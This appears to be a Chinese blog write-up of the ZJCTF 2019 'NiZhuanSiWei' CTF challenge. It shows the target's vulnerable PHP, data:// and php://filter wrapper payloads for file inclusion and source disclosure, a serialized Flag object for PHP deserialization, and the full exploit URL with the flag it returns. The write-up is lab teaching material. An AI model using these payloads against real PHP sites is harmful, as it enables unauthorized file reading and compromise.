[ZJCTF 2019]NiZhuanSiWei1

知识点:

        1.php伪协议   //后面有关于伪协议的知识点链接,可以去学习一下

        2.php反序列化

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

进入题目就看到这些php代码,先来一下代码审计吧~

改代码接受3个GET传参的值,分别为text,file,password,第一行就有一个if判断,才能执行后续代码,大概意思就是如果text存在而且内容为welcome to the zjctf 则条件为真执行后续代码.

这里了我们直接用到data:伪协议去给他绕过

?text=data://text/plain,welcome to the zjctf

大概原理就是 file_get_contents() 函数可以解析为协议,而data://伪协议的意思又刚好是传输数据内容为welcome to the zjctf, 之后就出现了下面这个页面.

然后我们继续代码分析~

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

preg_match() 函数,意思就是你上传的file文件file文件的名字中不能包含flag,之后就是包含file文件,他这里又提示:useless.php,那我们就

/?text=data://text/plain,welcome to the zjctf&file=useless.php  

没啥反应,那就用php:filter 伪协议去读取一下内容看看吧~

/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

读出来下面的内容:

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

出来大概就是这个东西,我们就用base64解码一下,解除来是下面这些代码.

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

继续分析,意思就是定义了一个Flag的类里面又一个public属性和一个public function 函数,这个函数就是如果file属性存在,则读取file的内容,读取的大概就是flag.php,因为他上面有提示

并且password的传参最后进行了反序列化

$password = unserialize($password);
echo $password;

那就是构造一个对象吧~ 可以去下面这个地址来执行php代码 https://www.jyshare.com/compile/1/  

<?php  

class Flag{  //flag.php  
    public $file="flag.php";
}  

$love=serialize(new Flag());
echo $love

?>  
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

构造 payload:/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

出来就是这个页面不过我用的是view-source:http://e831047b-cde7-4381-b2a3-b11d1cd89c8a.node5.buuoj.cn:81/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}  

<br><h1>welcome to the zjctf</h1></br>  
<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){  
	return ("flag{c4cf23f0-0e09-4825-9f60-f1b26ce2a841}");
}

?>
<br>U R SO CLOSE !///COME ON PLZ

伪协议知识点链接: 文件包含与PHP伪协议 - beiwo - 博客园 (cnblogs.com)

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安红豆.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值